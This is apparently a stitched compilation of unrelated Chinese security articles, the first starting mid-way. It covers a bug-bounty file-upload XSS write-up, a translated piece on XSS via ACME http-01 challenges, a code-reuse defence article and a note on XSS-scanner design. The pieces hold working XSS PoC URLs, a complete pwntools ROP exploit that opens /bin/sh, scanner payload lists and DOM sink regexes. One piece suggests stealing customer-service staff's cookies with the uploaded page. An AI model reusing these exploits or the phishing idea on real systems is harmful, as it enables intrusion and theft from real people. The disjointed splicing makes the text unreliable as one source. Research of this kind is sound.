在某些特定环境中，也会检查图片是否正确，错误的话也将不能上传成功。所以尽量要用上面的方式来制作xss的图片。
然后就像上面的gif欺骗攻击一样可以绕过一些特定环境。然后必要条件也和上面一样：
[](https://p0.ssl.qhimg.com/t01ec6a09c6192ef572.png)
访问，成功弹窗：
[](https://p4.ssl.qhimg.com/t01e5c75f6453d9f4fa.png)
**5.添加png头部绕过**
还有png这样的图片格式，也可以用上面的方法来，这里就不赘述了。
**总结**
所以可以在服务器中的源代码用`getimagesize`，`mime_content_type`,`Fileinfo`函数获取图像信息，即检查文件内容时，在开头加GIF89a头部，可以对这些函数起到欺骗攻击，然后在对后缀没有很过分的检查时，可以先取`gif`后缀名，然后用burp再抓包改回`htm`或者`html`这样的规范后缀，然后便可弹窗了；甚至就是对后缀名完全没有检查，那么直接写`htm`或者`html`这样的规范后缀，然后便可弹窗了；也可以用上面的jpg、png这些绕过方法来实现绕过，具体看环境中究竟允许上传什么类型吧。
### SRC实战
上面的通过前端JS进入后台后进行文件上传html的过程我在这里就以最近在挖掘某SRC的时候正好碰巧碰到这种漏洞来讲解，过程基本一模一样。
首先在首页需要登陆：
[](https://p5.ssl.qhimg.com/t0101e028543998afc1.png)
这里任何人都可以注册，所以就注册一个号，便可以登录，我这里注册了一个后，成功登录：
[](https://p5.ssl.qhimg.com/t01138320e2b94c8ed3.png)
然后访问该网址：`https://x.x.x.x/#/personage`，进入到个人信息修改页面：
[](https://p4.ssl.qhimg.com/t019dda5ca5504a78aa.png)
点击上传头像：
[](https://p5.ssl.qhimg.com/t012cd1f51cb891b99e.png)
这里用burp抓包，上传login.jpg，然后修改为login.html：
[](https://p3.ssl.qhimg.com/t01e5d540862f2da881.png)
F12打开点击检查元素，点击头像位置找到该路径：
[](https://p5.ssl.qhimg.com/t01cf233f380776e968.png)
访问该路径，即为点击劫持页面：
[](https://p0.ssl.qhimg.com/t0152b47094732f892a.png)
这里也可以进行文件上传xss：
用burp抓包后，点击上传头像，上传test.jpg：
[](https://p5.ssl.qhimg.com/t01aa0fc4ad5f1f87c6.png)
然后把请求包发到Repeater重放模块里，把jpg后缀改成html后缀：
[](https://p4.ssl.qhimg.com/t01e8cf51d05f5da04a.png)
Go后，显示成功上传，然后访问这个路径：
`https://x.x.x.x/open/2021-08-21/w9xzPxJP-test.html`，成功弹窗：
[](https://p4.ssl.qhimg.com/t01e3678775d7c5c5dd.png)
这里验证成功之后，后续其实就可以利用此漏洞进行盗取cookie，钓鱼，社工等操作，比如上传盗取cookie的文件，然后把路径发给客服小姐姐等等操作。
可惜这里遗憾的就是最终上传到的是阿里云的oss上了，那么这里遇到这种情况该怎么解决呢？
以下先列出两种方法，优先用第二种方法，第二种方法的例子是成功的，信息收集yyds。
第一种方法：
如果遇到了上传成功后，可是是上传到像阿里云的oss上，oss传html，有些虽然上传之后看不到重写规则，但可以手动替换站点的静态服务器说不定也能成功。站点的静态服务器的域名一般都是`static.xxx.com`。
所以就像这样：浏览器上的url手动修改：`xxx.aliyuncs.com/1.html`=> `static.xxx.com/1.html`
比如这里：这里是在`https://x.x.x.x/`上传了文件，可是却上传到了阿里云的oss上：`https://x.oss-cn-x.aliyuncs.com/open/2021-08-21/nW1ZBCUp-test.html`
[](https://p2.ssl.qhimg.com/t0109f4e1b06687b961.png)
这样其实有的像src可能不收。那么就可以手动替换url：`https://x.oss-cn-x.aliyuncs.com/open/2021-08-21/nW1ZBCUp-test.html`
变为`https://static.xxx.cn/open/2021-08-21/nW1ZBCUp-test.html`，
`https://static.xxx.cn`这个就是该站点的静态服务器。
不过只是说不定可以成功，这里就没有成功。原因：两个的HostId不同，即不同的两台主机，不同两个阿里云oss：
访问该站点的静态服务器地址，会显示其HostId，是一个阿里云oss：
[](https://p3.ssl.qhimg.com/t017177614a83617e55.png)
访问传上去的oss地址，会显示其HostId，是另外一个阿里云oss：
[](https://p4.ssl.qhimg.com/t0115d705ef40cb8671.png)
这两个不是相同的主机，不是相同的阿里云oss，自然就不行了，所以`https://static.xxx.cn/open/2021-08-21/nW1ZBCUp-test.html` 就没有成功
[](https://p5.ssl.qhimg.com/t01aa3459836c21dffa.png)
而访问`https://x.oss-cn-x.aliyuncs.com/open/2021-08-21/w9xzPxJP-test.html`是存在的，而且也成功解析了:
[](https://p3.ssl.qhimg.com/t01e0c7fab1bf34631e.png)
其实经过信息收集(fofa)还收集到了别的静态服务器，不过都是不行的：
比如：
[](https://p2.ssl.qhimg.com/t01861e7aeb8eb71a1a.png)
[](https://p4.ssl.qhimg.com/t017a7ecaa76a3f9f27.png)
[](https://p2.ssl.qhimg.com/t0179372d2a51f78d4d.png)
[](https://p3.ssl.qhimg.com/t012336949026404f59.png)
等等。
第二种方法：
信息收集，收集到了指定的域名(也可以盲猜)。
例子：这里接上第一种方法中的例子，上面是上传到了阿里云的oss上：`https://x-crm.oss-cn-shenzhen.aliyuncs.com`,那么其中我们可以盲猜是`https://x-crm-oss-cn-shenzhen.xxx.cn`这个子域名(因为我上面挖的是某src的漏洞，那肯定是猜该src的域名，该src的主域名为xxx.cn)。
也可以用信息收集来收集到指定的域名，这里我就是通过fofa搜索`domain="xxx.cn"`收集到的(其实一开始也有盲猜，信息收集证实了我的盲猜是对的)：
[](https://p3.ssl.qhimg.com/t01126fdb095ec51e0a.png)
这样就从阿里云oss转换到了该src的子域名上。
点击劫持页面：
[](https://p0.ssl.qhimg.com/t0152b47094732f892a.png)
而xss原本在阿里云oss上是没有cookie的：
[](https://p5.ssl.qhimg.com/t0195dedc11cffbd9eb.png)
而在该src的子域名下便有cookie了：
[](https://p4.ssl.qhimg.com/t01db400bb02d35390e.png)
那么我们就可以去和客服小姐姐聊天了，直接发过去，她成功点击，就能盗取其cookie了，可能有好东西哦，敏感信息啥的~ | 社区文章 |
原文：<https://labs.detectify.com/2018/09/04/xss-using-quirky-implementations-of-acme-http-01/>
**摘要**
* * *
对于有些托管服务提供商来说，他们实现的http-01验证方法会将部分challenge密钥放到响应中去，从而导致大量实现了http-01 ACME-challenge的网站很容易受到XSS的攻击。
半年以前，Frans对不同的Let's Encrypt验证方法进行了研究，并将结果放到了一篇关于如何利用TLS
SNI为共享主机上的其他域颁发证书的[文章](https://labs.detectify.com/2018/01/12/how-i-exploited-acme-tls-sni-01-issuing-lets-encrypt-ssl-certs-for-any-domain-using-shared-hosting/ "文章")中。
在这篇报告，还考察了其他验证方法，例如http-01。该验证方法的工作原理是，让Let’s Encrypt 的请求位于/.well-known/acme-challenge/KEY1中的文件，并期望获得具有KEY1.KEY2的格式的响应。
由于KEY1同时出现在响应和请求中，所以，一些托管服务提供商使用支持ACME的证书颁发者（Let's
Encrypt只是其中之一）创建了一种解决方案，其中第一个密钥KEY1将从URL中取得，然后，使其与响应中使用的固定的KEY2相结合。
发送请求：
/.well-known/acme-challenge/ABC123
响应如下所示：
ABC123.XYZ567
很明显，这里很容易受到XSS攻击，不过，还需要考虑是否采用了相应的缓解措施：
* Content-type未设置为HTML。
* Web浏览器对请求进行URL编码，因此，如果返回原始请求，则无法注入特殊字符，因为它们已经进行了URL编码（<例如，最终会以％3c结尾）。
* 某些Web浏览器中的XSS审核程序可能会捕获返回的值并阻止触发JavaScript。
实际上，这三种缓解措施都有相应的绕过方法，于是，我们向两家主要的网络托管公司报告了这些问题，因为这使得他们的所有客户都容易受到攻击。其中，一家是大型国际服务提供商，另一家是瑞典最大的托管服务提供商之一。但是，自从将其应用到Detectify监控中后，我们仍然会在客户的网站上发现这个问题，这表明，还有很多服务提供商也容易受到该漏洞的影响。
下面，我们深入介绍如何绕过上述缓解措施。
**内容类型非HTML**
* * *
对于国际托管服务提供商来说，由于内容默认为text/plain，因此，只能将响应呈现为纯文本。但是，Apache有一个名为[Magic
MIME](https://httpd.apache.org/docs/2.4/mod/mod_mime_magic.html "Magic
MIME")的旧模式，它将根据响应的第一个字节来确定内容类型。如果启用了该模式，则可以根据响应包含的字符类型来控制内容类型。例如，`<b>`会导致内容类型为text/html，`<?xml`会导致内容类型为text/xml。在进行测试时，对于请求`/.well-known/acme-challenge/<b>`，响应实际上以text/html的形式返回的。
虽然我们的报告中也提到了Magic
MIME，然而，相关托管服务提供商婉转表示，他们并没有使用Apache，而是通过某种形式的中间件来完成内容类型的嗅探工作。
当然，我们无法修改Swedish主机提供商的内容类型。然而，正如Jan
Kopecky在去年四月发表的[文章](https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/ "文章")所展示的那样，我们可以设法让Internet
Explorer将纯文本作为HTML执行，到目前为止，这一技巧仍适用于Windows 8.1，不过在Windows 10平台上面已经失效了。
实际上，这种方法是通过创建.eml文件，并将content-type设置为message/rfc822来完成的。它代表Microsoft Outlook
Express邮件，用于将电子邮件内容保存到文件中。当加载这类文件时，Internet Explorer会对其余内容执行mime-sniffing（猜测其内容类型）。因此，我们只要将iFrame放到易受攻击的端点中，其内容就会被视为HTML。
**对请求内容进行URL编码**
* * *
当向Swedish托管服务提供商发送请求时，响应中的KEY1的内容总是会进行URL编码。
我们可以再次使用Internet Explorer来解决此问题。关于Internet
Explorer的一个不太为人所知的事情是，实际上搜索部分（在URL中的？之后的部分）默认情况下是不进行URL编码。在这种情况下，`/.well-known/acme-challenge/`之后的所有内容都直接写入页面，这意味着`/.well-known/acme-challenge/?<h1>hi`将生成一个具有正常HTML标签的响应。
值得一提的是，即使只有路径名会被写入页面的话，也可以这样做。如果它确实会重定向，则Internet
Explorer也会将该部分以非URL编码的形式保留下来，这意味着PoC会非常简单：
<?php
header(“Location: https://vulnerable/.well-known/acme-challenge/<h1>test”);
?>
**XSS auditor**
* * *
在我们忙活半天之后，在发送漏洞报告之前，最后一件事是确保JavaScript确实在Web浏览器中执行。虽然Firefox缺乏XSS-auditor，但随着Chrome的广泛使用，最好让它实现一个XSS-auditor，因为这样可以发挥出最大的效力。
请记住，我们可以控制内容类型。虽然Chrome XSS-auditor不会触发XML，但是，可以提供一个XHTML命名空间，将XML作为HTML来进行安全评估。
**POC**
* * *
针对该国际提供商的完整PoC如下所示：
/.well-known/acme-challenge/%3C%3fxml%20version=%221.0%22%3f%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%28document.domain%26%23x29%3B%3C/x:script%3E
对于Swedish供应商来说，对应的PoC则是这样的:
TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<iframe src=3D"http://[redacted]/.well-known/acme-challenge/?<HTML><h1>meh</h1>"></iframe>
**缓解措施**
* * *
这里的关键在于，反模式有时会导致意想不到的副作用，我们的建议是根本不要让acme-challenge请求中的内容泄露出来。相反，如果KEY1恰好需要用于challenge中的话，则使用建议的方法，并仅提供KEY1.KEY2的响应。 | 社区文章 |
# 防御代码重用攻击的一个简单方案
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
代码重用攻击的顺利进行需要两个必不可少的条件：
* 通过某种方式劫持程序控制流。
* 获取内存中目标代码片段的位置信息。
对于代码重用攻击的防御必须立足于这两个环节，务必至少破坏其中之一，才能阻止攻击的进行。
针对这一点，我实施了将进程空间中非必须的指令用空指令，也即0x90覆盖掉这一简单的保护方案(以下称为程序运行时裁剪)。这一保护方案立足于阻止代码重用攻击对目标程序内存中代码片段位置信息的准确获取，进而阻止攻击。要处理和解决的问题主要有：
1 程序函数依赖的静态分析
2 动态链接器的修改和重编译
## 方案的设计与实现
当前Linux系统中普遍使用Glibc所提供的动态链接器ld.so来实施对可执行程序的装载。同时GNU
Binutils套件中诸如objdump,readelf等强大的二进制文件处理工具为方案的具体实施提供了强有力的工具。
方案的总体流程图如下：
## 程序的静态分析
静态分析关注ELF文件。它保存了足够多的信息。
ELF文件中储存有其所需的动态链接库信息和其所使用的动态链接器相关信息。
后续我们必须修改目标程序ELF文件的相应位置，使其使用新的动态链接器进行装载。
## 静态分析的整体思路
对目标程序进行静态分析的思路可以归纳为以下几点：
* 对程序本体ELF文件进行分析，得出其依赖的动态链接库和第一层调用所涉及的库函数。
* 在程序所依赖的动态链接库中寻找第一层所调用的库函数，记录其位置信息，包括动态链接库名称，和在对应动态链接库内的相对位移。
* 以上两步得到的信息为起点，在相应的动态链接库内递归地寻找依赖的函数，并记录相关信息，直到不再有新的信息出现，完成程序运行所必需的函数的定位。
## 具体分析规则的编写
必须明确要从对目标程序的静态分析中获取的信息有哪些，如何获取，定义存储这些信息的数据结构等等，为后续的进一步处理提供支持。对目标程序进行静态分析时，就必须获取目标程序所依赖的函数的相关信息，包括函数所在的动态链接库名称和其在对应动态链接库内的相对位置。
### A 第一层调用的库函数
目标程序第一层调用的库函数往往是显式的出现在程序的源码中，如以下示例代码toy.c:
#include <stdio.h>
int main()
{
char *s="hello";
printf("string is %s\n",s);
return 0;
}
很明显，其调用的第一层库函数为printf ()函数。
nm命令主要是用来列出某些文件中的符号表（包括一些函数和全局变量等），以下是nm命令的一个典型输出：
我们关心的库函数则以U为输出的标志，因此，只需对nm命令的输出结果做以下处理，就可以得到第一层调用的库函数。
nm toy | grep –w U | awk '{printf $2 "\n"}'
对toy执行该命令的输出结果如下：
### B 在动态链接库内递归寻找函数
首先要先在动态链接库中定位到第一层库函数。
ELF文件中所存储着的有可能不是函数真正的“名字”。比如说，printf
()函数，其在对应的动态链接库libc.so.6中实际上是_IO_printf函数，类似的对应还有很多。所以在定位第一层调用的库函数时，必须建立这样一个函数名的映射关系。在相应的动态链接库中递归地去寻找时，处理的都是真正的函数名，无需再进行函数名的映射。
本文编写shell脚本，利用Linux自带的工具进行相关处理。该脚本的核心在于两个函数的编写，以及这两个函数之间调用关系的精心组织：
* getaddr函数:
getaddr(){
flag=`grep -w "$1" $2`
out=$2
out=${out%a*}"protect"
if [ -n "$flag" ];then
grep -w "$1" $2|awk '{print $2 " " $3}' >>"$out"
fi
}
getaddr取得函数的开始和结束位置,参数为函数名，”所在库名__addr”，将结果保存至“所在库名_protect”文件中，留待提供给动态链接器进行相应处理。
* getfunc函数：
getfunc(){
start=`grep -no $1 $3| cut -d ":" -f 1`
end=`grep -no $2 $3| cut -d ":" -f 1`
let n=$end-$start-1
funcs=$(grep -A $n -P "$1.*>:" $3 | grep -Po '(?<=(<)).*(?=>)')
for func in $funcs
do
{
#处理形如<funcname+offset>型数据
if [[ $func =~ "+" ]];then
func=${func%+*}
fi
func="<"$func">"
printf "$func\n"
}
done
}
getfunc取得某个函数中依赖的其他函数名，参数为函数起、始地址和所在库名。
工作模式是：以获取到的第一层调用库函数为起点，根据函数名，先使用getaddr函数获取所有第一层调用的函数的开始和结束位置。将得到的函数开始和结束位置为参数，在相应的动态链接库中调用getfunc函数得到该函数所依赖的其他函数，将之作为参数，传递给getaddr函数，如此不断进行下去，直到没有新的函数信息被添加进来。
我们以以下libc.so.6的反汇编结果来看：
库函数的完整列表及其在动态链接库内的相对偏移量应该在“<”和“:”之间取得，而函数内又调用的函数则要在“<”和“>”之间取得后去除掉函数名其后的偏移量。
现在我们首先要得出目标程序所依赖的所有动态链接库，Linux系统中的ldd命令可以让我们很轻松的得到这些信息。以下是ldd命令的结果示例：
或者是readelf命令也能达到这一点。
目标程序所需的动态链接库信息已确认，接下来我们将用以下完成第一层调用的库函数的定位。
#取得第一层调用的库函
libfuncs=$(nm target | grep -w U| awk '{printf $2 "\n"}')
let i=0
for libfunc in $libfuncs
do
{
funcname=${libfunc%%@*}
for lib in $libs
do
{
arg=$lib"_addr"
if [ "$funcname" == "printf" ];then
getaddr "_IO_printf" $arg
# 如果还有更多类似printf的对应，可以自行添加
elif [ "$funcname" == "system" ];then
getaddr "__libc_system" $arg
elif [ "$funcname" == "__libc_start_main" ];then
getaddr "__libc_start_main" $arg
else
getaddr $funcname $arg
fi
}
done
let "i++"
}
done
为了方便处理，我们将各动态链接库中的库函数地址提取出来，存入到“库名_addr”文件中。以libc.so.6为例，其库函数的起始地址将被存入到libc_addr中：
<funcname>: start_addr end_addr
以下是libc_addr的示例：
需要注意的是，作为一种特殊的可执行文件，某些动态链接库也可能会调用其他库中的库函数，以数学库libm为例，其依赖于libc中的某些函数，如__strtold_nan，fputs,memset等，表现在反汇编的结果上，就是libm的.plt段会存在这些函数的相关信息。
因此，必须对动态链接库之间的依赖也进行处理。与处理目标程序第一层调用的函数时一样，必须建立函数名的准确映射关系。
以下列目标程序为例：
#include <stdio.h>
#include <math.h>
int main()
{
int x=16;
double y=sqrt(x);
printf("y = %f\n",y);
return 0;
}
该程序依赖的数学库libm中共有405个函数:
经静态分析后，发现目标程序所必需的数学库函数，也就是libm_protect中的数据项，只有41个。
接下来要进行的就是在动态链接器中集成程序运行时裁剪保护方案，对其源码进行相应修改，并重编译。
## 动态链接器的修改位置
具体进行装载动态链接库进入内存的函数是定义在glibc源代码elf目录下的dl-map-segments,h文件中的_dl_map_segments函数，其函数原型及参数信息如下：
static __always_inline const char *
_dl_map_segments (struct link_map *l, int fd,
const ElfW(Ehdr) *header, int type,
const struct loadcmd loadcmds[],
size_t nloadcmds,
const size_t maplength,
bool has_holes,
struct link_map *loader)
对源码修改位置的具体分析
在_dl_map_segments函数中，比较重要的数据结构是struct link_map，其定义如下：
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Difference between the address in the ELF file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object*/
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
};
link_map中存储着将动态链接库文件映射进内存的相关信息，比如映射的起始位置，映射的长度等等。而对我们来说，最重要的信息就是映射的起始位置。在该函数中，对映射的起始位置的处理由以下代码进行：
ElfW(Addr) mappref
= (ELF_PREFERRED_ADDRESS (loader, maplength, c->mapstart & GLRO(dl_use_load_bias)) - MAP_BASE_ADDR (l));
/* Remember which part of the address space this object uses. */
l->l_map_start = (ElfW(Addr)) __mmap ((void *) mappref, maplength,
c->prot,
MAP_COPY|MAP_FILE,
fd, c->mapoff);
在这里将会调用Linux系统内核函数__mmap函数，其函数原型为：
void* __mmap (void *addr, size_t len, int prot, int flags, int fd, off_t offset)
## 对源码的具体修改
动态链接器本身是静态链接的，也就是说，动态链接器本身不能再依赖其他动态链接库，因此，动态链接器的源代码中，不能调用其它库函数，只能使用如open（）、__mmap
()等系统调用。
由于程序运行时裁剪方案中的裁剪指的是0x90覆盖，所以必须获取对相应内存区间的写权限，而动态链接器源码本身在将目标程序所依赖的动态链接库文件映射进内存时就调用了__mmap，其提供了保护模式的选择，因此，只需要将相应位置的源代码作如下修改：
原代码：
l->l_map_start = (ElfW(Addr)) __mmap ((void *) mappref, maplength,
c->prot,
MAP_COPY|MAP_FILE,
fd, c->mapoff);
修改后的代码：
l->l_map_start = (ElfW(Addr)) __mmap ((void *) mappref, maplength,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_COPY|MAP_FILE,
fd, c->mapoff);
当然，一般来说，这样的修改会带来安全上的隐患和相当大的风险，但动态链接器在完成每个动态链接库的映射之后，都会将该内存区间的保护模式设置为PROT_NONE,也即不可访问。
完成权限的设置后，就要进行依据存放有目标程序必需的库函数位置信息的各个“库名_protect”文件，对已经被映射进内存的各个动态链接库进行裁剪的工作了。
由于先前的工作中得到的各个“库名_protect”文件中的函数位置信息是按地址升序存放的，而对动态链接库的裁剪又是通过用0x90覆盖非必需的函数，所以，裁剪算法的设计是相当简单的。
算法的程序框图如下：
在实际操作过程中，就需要对各个“库名_protect”文件进行中的数据进行读取。动态链接器是静态链接的，C语言中常用的文件处理函数，如fscanf
()函数等将无法使用。让我们将目光转回到“库名_protect”文件中，其组织方式为：
start_addr end_addr
进一步的分析可以发现，各行中的两列数据在格式上是一致的，位数是相等的（具体位数取决于所用的系统）。下图是libm_protect的一部分：
我们可以通过__mmap系统调用，将各个“库名_protect”文件直接映射进内存进行相关操作。以下是libm_protect通过__mmap映射到内存后，在内存中的存放方式：
可以看到，其在内存中以小端方式存放，具体内容为16进制的：
30303030 30303030 30303030 35386230 ……
也即十进制下的00000000000058b0，0x09为制表符Tab键，0x0a为换行符。这样一来，每17个字节就可以转换出相应的函数位置信息来，只需做简单的数学计算就可以了。为此，在源码中添加了以下函数实现：
int pow16(int n)
{
int i,ret=1;
for(i=0;i<n;i++)
ret=ret*16;
return ret;
}
来计算16的整数次幂，进而辅助进行文件信息的提取。此外，由于在对目标程序所依赖的各个动态链接库进行映射时，上述修改位置处的代码将会被循环使用。所以，必须根据当前正在处理的动态链接库名称，选择不同的“库名_protect”文件。而这时问题又来了，常见的字符串处理函数无法在静态链接的动态链接器中使用，所以必须要在动态链接器源码中自行进行动态链接库名称的处理。实际上，各个动态链接库的命名方式很有区分度，大大方便了该工作的进行。以下是ubuntu
16.04 64位系统中常见动态链接库的名称：
而相应的动态链接库文件名存放在link_map 型结构体l的l_name成员中。以libc.so.6为例，可以做以下处理：
off_t length;
char *addr;
int index;
for(i=0;;i++)
{
if(l->l_name[i]=='.'&&l->l_name[i+1]=='s')
{
index=i-1;
break;
}
}
if(l->l_name[index]=='c')
fd = open("libc_protect", O_RDWR | O_CREAT, 0644);
length = lseek(fd, 1, SEEK_END);
addr = (char *)__mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
## 动态链接器的重编译
本文所设计运行时裁剪这一保护机制，在最理想的情况下，集成了该方案的动态链接器应该直接作为系统的默认动态链接器来使用，但为了系统的正常工作，最好独立于当前的系统指定动态链接器。因此必须按照以下方式进行重编译和安装：
cd glibc
mkdir build
cd build
./configure --prefix=/不同于当前安装目录的目录
make
sudo make install
正如之前提到的，Linux系统中的elf文件中包含有其所使用的动态链接器相关信息，可以通过patchelf程序来进行修改，使目标程序使用指定的动态链接器。具体如下图所示：
对攻击实例的防御效果
实验将会在64位平台下进行。
实际操作中，我们进行的是ROP攻击。
漏洞代码vuln.c如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
该程序依赖的动态链接库只有libc.so.6。其中第15行代码处存在缓冲区溢出漏洞。攻击目标是要执行system(“/bin/sh”)打开命令行工具。
由于该程序本身含有system函数的位置信息，因此，在实际攻击时，只需要寻找到/bin/sh字符串的地址，构造栈上数据，并通过如下gadget进行参数的传递即可：
pop rdi ；ret
该gadget可以通过ropgadget工具在libc.so.6中寻找，其在库内偏移量如下图所示：
显然其在libc库内的偏移量为0x21102，system函数在库内也很容易定位。
为了简化攻击步骤，我们利用pwntools工具，编写脚本进行攻击，攻击脚本exp.py如下：
#!/usr/bin/env python
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vuln')
binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)
pop_ret_offset = 0x0000000000021102 - libc.symbols['system']
print "pop_ret_offset = " + hex(pop_ret_offset)
print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)
pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr)
p.recv()
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
print "\n##########sending payload##########\n"
p.send(payload)
p.interactive()
运行攻击脚本，攻击成功，结果如下图所示：
接下来，实施程序运行时裁剪方案，再次执行攻击脚本，攻击失败，结果如下图所示：
但同时，实施该方案后，程序本身能正常运行：
查看libc_protect文件，0x21102处是非必需函数所在的区域：
在内存中查看相应位置，已被0x90覆盖掉： | 社区文章 |
**作者：w7ay @知道创宇404实验室
时间：2020年2月12日 **
为了实现自动刷SRC的目标，过年前就开始对w13scan的xss扫描功能进行优化，灵感来源于xray所宣称的基于语义的扫描技术。
之前xss扫描是参考`w3af`中的源码，原理也很简单就是暴力的使用xss的payload进行请求，最后在返回文本中查找关键字,xss
payload一般有以下几个部分。
后面我认真的学习了一下`Xsstrike`、`Xray`、`Awvs`中的检测技巧以及检测参数，想将它们的优点和为一体。
## XSStrike
先说说`Xsstrike`，里面带有xss扫描和fuzz，但感觉xss扫描的效果也不是太理想。不过它的一些特性还是可以学习的。
### DOM XSS
Xsstrike的dom扫描，是通过正则来分析敏感函数
sources = r'''document\.(URL|documentURI|URLUnencoded|baseURI|cookie|referrer)|location\.(href|search|hash|pathname)|window\.name|history\.(pushState|replaceState)(local|session)Storage'''
sinks = r'''eval|evaluate|execCommand|assign|navigate|getResponseHeaderopen|showModalDialog|Function|set(Timeout|Interval|Immediate)|execScript|crypto.generateCRMFRequest|ScriptElement\.(src|text|textContent|innerText)|.*?\.onEventName|document\.(write|writeln)|.*?\.innerHTML|Range\.createContextualFragment|(document|window)\.location'''
scripts = re.findall(r'(?i)(?s)<script[^>]*>(.*?)</script>', response)
通过将script脚本内的内容提取出来，通过一些正则来获取，最后输出。但这种方式准确度很低，只能用于辅助，不太适合自动化扫描。
### 内置参数
它里面有内置一些参数，在检测时会将这些参数也一起发送
blindParams = [ # common paramtere names to be bruteforced for parameter discovery
'redirect', 'redir', 'url', 'link', 'goto', 'debug', '_debug', 'test', 'get', 'index', 'src', 'source', 'file',
'frame', 'config', 'new', 'old', 'var', 'rurl', 'return_to', '_return', 'returl', 'last', 'text', 'load', 'email',
'mail', 'user', 'username', 'password', 'pass', 'passwd', 'first_name', 'last_name', 'back', 'href', 'ref', 'data', 'input',
'out', 'net', 'host', 'address', 'code', 'auth', 'userid', 'auth_token', 'token', 'error', 'keyword', 'key', 'q', 'query', 'aid',
'bid', 'cid', 'did', 'eid', 'fid', 'gid', 'hid', 'iid', 'jid', 'kid', 'lid', 'mid', 'nid', 'oid', 'pid', 'qid', 'rid', 'sid',
'tid', 'uid', 'vid', 'wid', 'xid', 'yid', 'zid', 'cal', 'country', 'x', 'y', 'topic', 'title', 'head', 'higher', 'lower', 'width',
'height', 'add', 'result', 'log', 'demo', 'example', 'message']
很好的思路，后面我的扫描器中也使用了这一点，从乌云镜像XSS分类中提取出了top10参数，在扫描时也会将这些参数加上。
### HTML解析&分析反射
如果参数可以回显，那么通过html解析就可以获得参数位置，分析回显的环境(比如是否在html标签内，是否在html属性内，是否在注释中，是否在js中)等等，以此来确定检测的payload。
后面我的扫描器的检测流程也是这样，非常准确和效率，不过`Xsstrike`分析html是自己写的分析函数，刚开始我也想直接用它的来着，但是这个函数内容过多，调试困难，代码也很难理解。
其实如果把html解析理解为html的语义分析，用python3自带的html提取函数很容易就能完成这一点。
## Xray
`XSStrike`让我学习到了新一代xss扫描器应该如何编写，但新一代xss扫描器的payload是在`Xray`上学到的。
由于`Xray`没有开源，所以就通过分析日志的方式来看它的工作原理。
### 准备工作
<html>
<body>
<a href="?q=1&w=2&e=3&r=4&t=5" />
<script>
<php
foreach($_GET as $key => $value){
// $_GET[$key] = htmlspecialchars($value);
}
$q = $_GET["q"];
$w = $_GET["w"];
$e = $_GET["e"];
$r = $_GET["r"];
$t = $_GET["t"];
if(stripos($q,"prompt") > 0){
die("error");
}
$var = 'var a = "'.$q.'";';
echo $var;
>
</script>
<div>
<textarea><?php echo $w;?></textarea>
</div>
<input style="color:<?php echo $e;?>" value="<?php echo $r;?>"/>
<!-- this is comment
<?php echo $t;?>
-->
</body>
</html>
简单写了一个脚本，用来分别测试xss在script，style内，html标签内，注释这几种情况下xray的发包过程。
### 发包探索
1.对于在script的脚本内的回显内容，对于以下case
<script>
$var = 'var a = "'.$_GET['q'].'";';
echo $var;
</script>
xray顺序发送了以下payload:`pdrjzsqc`，`"-pdrjzsqc-"`,`</sCrIpT><ojyrqvrzar>`
最后会给出payload,但这个包并没有发送。后面把`prompt`作为关键词屏蔽，发现最后还是给出这个payload。
还有一种情况，在script中的注释中输出
<html>
<body>
<script>
var a = 11;
// inline <?php echo $_GET["a"];?>
/* <?php echo $_GET["b"];?> */
</script>
</body>
</html>
xray会发送`\n;chxdsdkm;//`来判定，最后给出payload `\n;prompt(1);//`
2.对于在标签内的内容，对于以下case
<textarea><?php echo $_GET["w"];?></textarea>
xray顺序发送了以下payload:`spzzmsntfzikatuchsvu`,`</tExTaReA><lixoorqfwj>`，当确定尖括号没有被过滤时，会继续发送以下payload:`</TeXtArEa>sCrIpTjhymehqbkrScRiPt`,`</TeXtArEa>iMgSrCoNeRrOrjhymehqbkr>`,`</TeXtArEa>SvGoNlOaDjhymehqbkr>`,`</TeXtArEa>IfRaMeSrCjAvAsCrIpTjhymehqbkr>`,`</TeXtArEa>aHrEfJaVaScRiPtjhymehqbkrClIcKa`,`</TeXtArEa>iNpUtAuToFoCuSoNfOcUsjhymehqbkr>`,进行关键词的试探，最后给出payload为`</TeXtArEa><img
src=1>`
3.对于在style里内容，以下case
<input style="color:<?php echo $_GET["e"];?>" />
xray顺序发送了以下payload:`kmbrocvz`,`expression(a(kmbrocvz))`
4.对于在html标签内的内容，以下case
<input style="color:3" value="<?php echo $_GET["r"];?>"/>
